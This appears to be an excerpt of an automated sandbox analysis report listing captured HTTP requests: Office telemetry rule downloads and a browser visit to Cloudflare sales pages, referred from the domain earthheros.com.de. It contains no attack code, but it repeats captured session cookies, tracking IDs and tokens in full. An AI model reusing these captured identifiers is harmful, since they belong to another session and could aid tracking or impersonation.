Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1744819025&external_user_id=90b55140-4e1c-4e26-b4f5-78718a696458&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zw-iU8AoIkYAAGxuALVa0wAA; CMPS=2021; CMPRO=2021
Source: global traffic	HTTP traffic detected: GET /p/insights/t/5268204 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p/action/5268204.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /action/0?ti=5268204&tm=gtm002&Ver=2&mid=8a1ad12e-a464-4f9f-b3a3-4ebdf9f2445e&bo=1&sid=4bfaca508bd711ef83244ff4e3a5df24&vid=4bfadd708bd711efa979cd1425ce6efd&vids=1&msclkid=N&uach=pv%3D10.0.0&pi=918639831&lg=en-US&sw=1280&sh=1024&sc=24&tl=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&p=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&r=https%3A%2F%2Fearthheros.com.de%2F&lt=3820&evt=pageLoad&sv=1&cdb=AQET&rn=814007 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /p/insights/s/0.7.48 HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=1C6458DD9923601207F84DC7980661E2; MR=0
Source: global traffic	HTTP traffic detected: GET /p/insights/t/5268204 HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=1C6458DD9923601207F84DC7980661E2; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=5f0237e4-a8e1-4dae-9812-0e6c5fd7e0a1 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /p/insights/s/0.7.48 HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MUID=1C6458DD9923601207F84DC7980661E2; MR=0; MSPTC=Dx6hQonDnWl3e0jB2Ez2p6QUfw-H_r5wa6Vd7X9DYLQ
Source: global traffic	HTTP traffic detected: GET /page-data/under-attack-hotline/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/plans/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.cloudflare.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2;
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=470a7b7d-4f58-4d15-b7a7-59c348aa82d4 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /qualified.js?token=37pXYrro6wCZbsU7 HTTP/1.1Host: js.qualified.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cable?wv=9&token=37pXYrro6wCZbsU7&vu=236f6079-72e6-46ce-8669-94662ce0bf2d&wu=29a3b45b-5f72-482d-8dab-760b869e9342&ca=2024-10-16T15%3A57%3A12.053Z&tz=America%2FNew_York&bis=5&referrer=https%3A%2F%2Fearthheros.com.de%2F&pv=1&fv=2024-10-16-1c44ba025e&iml=false&ic=true HTTP/1.1Host: ws6.qualified.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://www.cloudflare.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Sec-WebSocket-Key: 7V9LHrqjK5lc4quGFgPsXA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: actioncable-v1-json, actioncable-unsupported
Source: global traffic	HTTP traffic detected: GET /page-data/app-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/plans/enterprise/contact/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIR
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=bf012b3f-4ee4-4200-bba4-e155d42ccac1 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /page-data/under-attack-hotline/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C6267357
